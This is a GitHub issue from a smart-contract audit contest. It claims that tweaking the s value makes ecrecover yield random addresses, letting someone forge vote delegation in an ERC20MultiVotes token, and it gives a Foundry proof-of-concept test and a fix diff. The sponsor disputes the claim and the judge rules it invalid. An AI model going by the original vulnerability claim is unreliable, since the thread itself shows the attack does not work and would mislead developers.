Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Signature can be forged for random addresses #644

Closed
c4-bot-5 opened this issue Dec 27, 2023 · 6 comments
Closed

Signature can be forged for random addresses #644

c4-bot-5 opened this issue Dec 27, 2023 · 6 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working primary issue Highest quality submission among a set of duplicates sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue sufficient quality report This report is of sufficient quality unsatisfactory does not satisfy C4 submission criteria; not eligible for awards

Comments

@c4-bot-5
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/ERC20MultiVotes.sol#L467-L505

Vulnerability details

Impact

A malicious user might attempt to forge signatures to delegate voting power from random addresses to delegatee.

Proof of Concept

During signature verification using ecrecover(), there exists a vulnerability where the signature can be forged, causing ecrecover() to return a random address. Consequently, the voting power of this random address might be delegated to delegate.
Malicious user can forge signatures to generated a large number of random addresses, then find out which one has non-zero balance and delegate its voting power without any permission.

Copy below codes to ERC20MultiVotes.t.sol and run forge test --match-test testDelegateWithForgedSig:

    function testDelegateWithForgedSig() public {
        token.setMaxDelegates(2);

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            0x01,
            keccak256(
                abi.encodePacked(
                    "\x19\x01",
                    token.DOMAIN_SEPARATOR(),
                    keccak256(
                        abi.encode(
                            token.DELEGATION_TYPEHASH(),
                            address(0x03),
                            0,
                            block.timestamp
                        )
                    )
                )
            )
        );

        //@audit-info voting power of address(0x03) is 0 before delegate forged signature
        assertEq(token.getVotes(address(0x03)), 0);
        for (uint i=0; i<100; i++) {
            //@audit-info simply increase 1 on s to forge new signature
            s = bytes32((uint256(s)+1));
            //@audit-info signer could be non-zero with forged signature
            address signer = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        token.DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                token.DELEGATION_TYPEHASH(),
                                address(0x03),
                                0,
                                block.timestamp
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );
            if (signer != address(0)) {
                token.mint(signer, 100);
                token.delegateBySig(address(0x03), 0, block.timestamp, v, r, s);
                //@audit-info address(0x03) was delegated by random address signer 
                assertEq(token.containsDelegate(signer,address(0x03)), true);
            }
        }
        //@audit-info voting power of address(0x03) is not 0 after delegate forged signature as soon as the balance of forged random address is non-zero
        assertFalse(token.getVotes(address(0x03)) == 0);
    }

Tools Used

Manual review

Recommended Mitigation Steps

Add delegator parameter in signed delegation, to avoid forging signatures for random addresses. Remove nonce parameter for simplicity:

    bytes32 public constant DELEGATION_TYPEHASH =
-       keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
+       keccak256("Delegation(address delegator,address delegatee,uint256 nonce,uint256 expiry)");

    /// @dev this consumes the same nonce as permit(), so the order of call matters.
    function delegateBySig(
+       address delegator,
        address delegatee,
-       uint256 nonce,
        uint256 expiry,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public {
        require(
            block.timestamp <= expiry,
            "ERC20MultiVotes: signature expired"
        );
        address signer = ecrecover(
            keccak256(
                abi.encodePacked(
                    "\x19\x01",
                    _domainSeparatorV4(),
                    keccak256(
                        abi.encode(
                            DELEGATION_TYPEHASH,
+                           delegator,
                            delegatee,
-                           nonce,
+                           _useNonce(delegator),
                            expiry
                        )
                    )
                )
            ),
            v,
            r,
            s
        );
-       require(nonce == _useNonce(signer), "ERC20MultiVotes: invalid nonce");
        require(signer != address(0));
+       require(signer == delegator, "ERC20MultiVotes: invalid signature");
        _delegate(signer, delegatee);
    }

Assessed type

Other

@c4-bot-5 c4-bot-5 added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working labels Dec 27, 2023
c4-bot-10 added a commit that referenced this issue Dec 27, 2023
@c4-pre-sort
Copy link

0xSorryNotSorry marked the issue as sufficient quality report

@c4-pre-sort c4-pre-sort added sufficient quality report This report is of sufficient quality primary issue Highest quality submission among a set of duplicates labels Jan 5, 2024
@c4-pre-sort
Copy link

0xSorryNotSorry marked the issue as primary issue

@eswak
Copy link

eswak commented Jan 11, 2024

Malicious user can forge signatures to generated a large number of random addresses, then find out which one has non-zero balance and delegate its voting power without any permission.

Assuming there are 10,000 token holders with a significant GUILD balance to delegate, if I understand correctly, the odds of forging a signature that belongs to one of the top 10,000 holders is as hard as 1/10,000 the odds of finding a specific private key. And forging a signature for the a specific token holder should be as hard as finding their private key. I don't think there is an exploit vector here ?

@c4-sponsor
Copy link

eswak (sponsor) disputed

@c4-sponsor c4-sponsor added the sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue label Jan 11, 2024
@Trumpero
Copy link

Invalid. If different addresses sign the same message, they will produce different signatures. signer is distinguished by different v, r, s.

@c4-judge
Copy link
Contributor

Trumpero marked the issue as unsatisfactory:
Invalid

@c4-judge c4-judge added the unsatisfactory does not satisfy C4 submission criteria; not eligible for awards label Jan 25, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working primary issue Highest quality submission among a set of duplicates sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue sufficient quality report This report is of sufficient quality unsatisfactory does not satisfy C4 submission criteria; not eligible for awards
Projects
None yet
Development

No branches or pull requests

6 participants